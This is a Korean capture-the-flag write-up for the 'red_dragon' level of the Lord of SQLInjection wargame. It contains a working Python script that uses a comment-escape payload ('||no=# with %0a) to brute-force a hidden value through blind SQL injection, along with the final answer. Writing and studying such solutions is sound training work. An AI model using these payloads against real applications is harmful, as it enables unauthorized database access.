> For the complete documentation index, see [llms.txt](https://donghyunlee.gitbook.io/write-up/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://donghyunlee.gitbook.io/write-up/wargame/lord-of-sqlinjection/red_dragon.md).

# red\_dragon

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-O0V9hSGiCjFaxdSRa%2F-M-O0_5jxr8lwQp4FWx8%2Fimage.png?alt=media\&token=7481ad56-0a61-4c5c-9211-18dfc8bdbda9)

파이썬 코드를 짜면 아래와 같다.

id 조건을 무시하고, `%0a` 을 통해 주석을 빠져나와 no 값을 지정해준다.

id에 `'||no=#` , no에 `%0a{변수}` 를 넣은 셈이다.

```python
import requests

URL = 'https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?'
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello admin'


def query(payload):
    cookies = {'PHPSESSID': PHPSESSID}
    r = requests.get(URL + payload, cookies=cookies)
    content = r.text
    return TRUE_PHRASE in content


# 586482014
def find_no():
    no = 0

    while query("id='||no>%23&no=%0a{}".format(no)) is True:
        no += 1000000
    no -= 1000000

    while query("id='||no>%23&no=%0a{}".format(no)) is True:
        no += 1000
    no -= 1000

    while query("id='||no=%23&no=%0a{}".format(no)) is False:
        no += 1

    print('no: {}'.format(no))


find_no()
```

실행결과, no는 `586482014` 이다.

<https://los.rubiya.kr/chall/red_dragon_b787de2bfe6bc3454e2391c4e7bb5de8.php?no=586482014> 에 접속하면 문제가 풀린다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-O4ZCLANeEAYVoEq_g%2F-M-O5Cn65N0j-OSVjQlk%2Fimage.png?alt=media\&token=d0884914-5c91-4621-a1e1-bdda61589ba0)